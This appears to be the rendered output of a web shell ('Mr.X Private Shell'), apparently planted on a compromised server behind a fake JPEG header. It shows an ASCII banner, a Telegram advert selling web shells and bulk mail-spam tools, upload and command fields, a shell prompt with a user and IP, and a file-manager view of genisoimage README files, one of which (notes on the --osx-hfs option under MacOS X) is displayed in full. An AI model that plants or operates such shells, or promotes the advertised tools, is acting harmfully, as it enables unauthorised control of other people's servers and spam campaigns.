����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.204: ~ $
Notes on using the --osx-hfs option when running genisoimage on MacOS X

genisoimage does not use any of the MacOS APIs to access files - it uses
standard (POSIX style) library calls. Under normal circumstances, all
genisoimage will 'see' is the data fork of files on an HFS (or HFS+) file system.

However, Apple have provided a way for POSIX style applications to 
access the resource fork - using the following syntax:

If a file exists on an HFS volume with the name 'foo', then the resource fork
can be accessed using the file name 'foo/rsrc' or foo/..namedfork/rsrc'
(the data fork can also be accessed using 'foo/..namedfork/data').

These 'pseudo' file names are not normally visible in a directory - unless
you access them directly (e.g. 'ls -l */rsrc etc).

To access the finder information, Apple have provided an undocumented library
function called getattrlist(). Fortunately there are example of its usage
in the Darwin (MacOS kernel) source code.


Although MacOS X can use HFS(+) as its file system, Apple have decided to
move away from using HFS to store finder info and resource data - for 
example, the TYPE of a file may be based on its file name extension and the
TYPE field in the finder info empty.

genisoimage knows nothing about these file name extension mappings, so if the
--osx-hfs option is used and the source files are on MacOS X HFS(+) volumes,
by the fact that they are HFS files, they will get identified as 'MacOS X HFS'
and the resulting file on the output CD image will have empty TYPE and CREATOR
fields.

Therefore, if the input finderinfo is blank and the the resource fork is
empty, genisoimage will assume the input file is not a 'real' HFS file - which
means the TYPE and CREATOR may then be set using the file's magic number or
genisoimage' file name extension mapping.

The only real benefit of using the --osx-hfs option is when the source files
are on an OS9 or earlier HFS or HFS+ volume e.g. an existing HFS CD.

James Pearson 3-Jul-2002
Edited for program name change by Eduard Bloch, 2006


Filemanager

Name Type Size Permission Actions
README File 722 B 0644
README.alphaboot File 1.1 KB 0644
README.compression File 704 B 0644
README.eltorito File 4.55 KB 0644
README.graft_dirs File 4.66 KB 0644
README.hfs_boot File 2.88 KB 0644
README.hfs_magic File 2.7 KB 0644
README.hide File 8.28 KB 0644
README.hppaboot File 1.4 KB 0644
README.joliet File 2.13 KB 0644
README.macosx File 1.99 KB 0644
README.mipsboot File 993 B 0644
README.mipselboot File 1.27 KB 0644
README.mkhybrid File 4.83 KB 0644
README.prep_boot File 1.74 KB 0644
README.releasenotes File 5.8 KB 0644
README.rootinfo File 3.33 KB 0644
README.session File 2.41 KB 0644
README.sort File 3.27 KB 0644
README.sparcboot File 3.07 KB 0644
README.sunx86boot File 2.71 KB 0644